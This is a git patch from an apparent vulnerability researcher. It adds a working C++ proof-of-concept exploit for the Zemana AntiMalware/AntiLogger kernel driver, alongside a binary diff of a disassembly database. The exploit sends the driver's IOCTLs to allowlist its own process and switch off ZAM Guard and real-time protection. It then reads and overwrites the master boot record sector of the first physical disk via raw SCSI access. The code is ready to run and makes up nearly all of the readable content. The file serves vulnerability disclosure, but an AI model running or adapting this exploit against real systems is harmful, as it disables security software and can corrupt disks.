From 2174cc4877ba89392fe1fdb51bd4eeb2fcf264b0 Mon Sep 17 00:00:00 2001 From: Paolo 'VoidSec' Stagno Date: Tue, 13 Jun 2023 16:42:42 +0200 Subject: [PATCH] added SCSI RW poc --- .../driver/zam64.sys.i64 | Bin 7050893 -> 7050893 bytes ...ana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp | 184 ++++++++++++++++++ 2 files changed, 184 insertions(+) create mode 100644 windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp diff --git a/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 b/windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64 index c6e12959c4e4f623cef48cb8ad75bd57f9c1faa0..2c73696ada96ba18a697bfa3ecabcada1dbfe68b 100644 GIT binary patch delta 20206 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 +#include +#include +#include +#include + +void PrintBanner(void) { + std::cout << "+---------------------------------------------------------------------------------------------------+" << std::endl; + std::cout << "| CVE-2023-XXXX: Zemana AntiMalware/AntiLogger SCSI Disk Read/Write by VoidSec |" << std::endl; + std::cout << "+---------------------------------------------------------------------------------------------------+\n" << std::endl; +} + +std::ostream& hex_dump(std::ostream& os, const void* buffer, std::size_t bufsize, bool showPrintableChars = true) +{ + if (buffer == nullptr) { + return os; + } + auto oldFormat = os.flags(); + auto oldFillChar = os.fill(); + constexpr std::size_t maxline{16}; + // create a place to store text version of string + char renderString[maxline + 1]; + char* rsptr{ renderString }; + // convenience cast + const unsigned char* buf{ reinterpret_cast(buffer) }; + + for (std::size_t linecount = maxline; bufsize; --bufsize, ++buf) { + os << std::setw(2) << std::setfill('0') << std::hex + << static_cast(*buf) << ' '; + *rsptr++ = std::isprint(*buf) ? *buf : '.'; + if (--linecount == 0) { + *rsptr++ = '\0'; // terminate string + if (showPrintableChars) { + os << " | " << renderString; + } + os << '\n'; + rsptr = renderString; + linecount = (std::min)(maxline, bufsize); + } + } + // emit newline if we haven't already + if (rsptr != renderString) { + if (showPrintableChars) { + for (*rsptr++ = '\0'; rsptr != &renderString[maxline + 1]; ++rsptr) { + os << " "; + } + os << " | " << renderString; + } + os << '\n'; + } + + os.fill(oldFillChar); + os.flags(oldFormat); + return os; +} + +typedef struct _SCSI_buffer { + // PhysicalDrive[i] + ULONG32 DiskNumber; + UCHAR Pad; + + // SCSI_REQUEST_BLOCK https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/srb/ns-srb-_scsi_request_block + UCHAR PathId; + UCHAR TargetId; + UCHAR Lun; + + ULONG32 OffsetHigh; // OffsetHigh must be 0 + ULONG32 OffsetLow; // OffsetLow is the sector LBA. + ULONG32 Length; // Truncated when written to the SCSI CDB + + ULONG32 Count; // DataTransferLength = Length * Count; +} SCSI_ACCESS, * PSCSI_ACCESS; + +BOOL SCSI_RW( + _In_ HANDLE DeviceHandle, + _In_ ULONG32 PhysicalDriveNumber, // PhysicalDrive[i] + _In_ ULONG32 LogicalBlock, // LBA + _In_ PVOID buffer, // store data read from disk + _In_ BOOL write_flag // if true, write to disk +) { + CHAR SCSI_buffer[1024]; + PSCSI_ACCESS Zemana_SCSI_buffer; + BOOL success; + + Zemana_SCSI_buffer = (PSCSI_ACCESS)&SCSI_buffer; + Zemana_SCSI_buffer->DiskNumber = PhysicalDriveNumber; + Zemana_SCSI_buffer->PathId = 0; + Zemana_SCSI_buffer->TargetId = 0; + Zemana_SCSI_buffer->Lun = 0; + Zemana_SCSI_buffer->OffsetHigh = 0; + Zemana_SCSI_buffer->OffsetLow = LogicalBlock; + Zemana_SCSI_buffer->Length = 1; + Zemana_SCSI_buffer->Count = 512; + + if (write_flag) { + // WRITE + memcpy((void*)((char*)Zemana_SCSI_buffer + 512), buffer, 512); + success = DeviceIoControl(DeviceHandle, 0x80002018, Zemana_SCSI_buffer, 1024, Zemana_SCSI_buffer, 1024, NULL, NULL); + return success; + } + else { + // READ + success = DeviceIoControl(DeviceHandle, 0x80002014, Zemana_SCSI_buffer, sizeof(SCSI_ACCESS), buffer, 512, NULL, NULL); + return success; + } +} + +int main(int argc, char** argv) { + HANDLE hDevice = 0; + int exploit_pid = 0; + CHAR lpInBuffer[512] = { 0 }; + BOOL success = 0, disable_zam = 0, disable_rt = 0, result = 0; + + std::cout << "[-] Retrieving a handle to the Zemana device driver" << std::endl; + hDevice = CreateFile("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (!hDevice) { + std::cout << "\t[!] Failed to get a handle to the Zemana device driver. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] ZemanaAntiMalware HANDLE: 0x" << std::hex << hDevice << std::endl; + + std::cout << "[-] Adding exploit's process to the allowlist" << std::endl; + exploit_pid = GetCurrentProcessId(); + if (!exploit_pid) { + std::cout << "\t[!] Failed to get exploit's process PID. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Exploit process' PID: " << exploit_pid << std::endl; + + success = DeviceIoControl(hDevice, 0x80002010, &exploit_pid, sizeof(exploit_pid), NULL, 0, NULL, NULL); + if (!success) { + std::cout << "\t[!] Failed to add exploit's process to the allowlist. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Exploit process' added to the allowlist" << std::endl; + + std::cout << "[-] Disabling ZAM Guard and Real-Time Protection" << std::endl; + disable_zam = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL); + disable_rt = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL); + if (!disable_zam || !disable_rt) { + std::cout << "\t[!] Failed to disable ZAM Guard or Real-Time Protection" << std::endl; + } + std::cout << "\t[+] Disabled ZAM Guard and Real-Time Protection" << std::endl; + + std::cout << "[-] SCSI Disk Read" << std::endl; + success = SCSI_RW(hDevice, 0, 0, lpInBuffer, FALSE); + if (!success) { + std::cout << "\t[!] Failed to read from SCSI disk. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] Disk ID: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl; + std::cout << "\t[+]SCSI disk dump" << std::endl; + hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer)); + + std::cout << "\n[-] SCSI Disk Write" << std::endl; + std::cout << "\t[-] Incrementing Disk ID" << std::endl; + (*(ULONG32*)(lpInBuffer + 440))++; + success = SCSI_RW(hDevice, 0, 0, lpInBuffer, TRUE); + if (!success) { + std::cout << "\t[!] Failed to write to SCSI disk. Error code: " << ::GetLastError() << std::endl; + return -1; + } + std::cout << "\t[+] SCSI Write successful! Disk ID is now: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl; + + CloseHandle(hDevice); + return 0; +}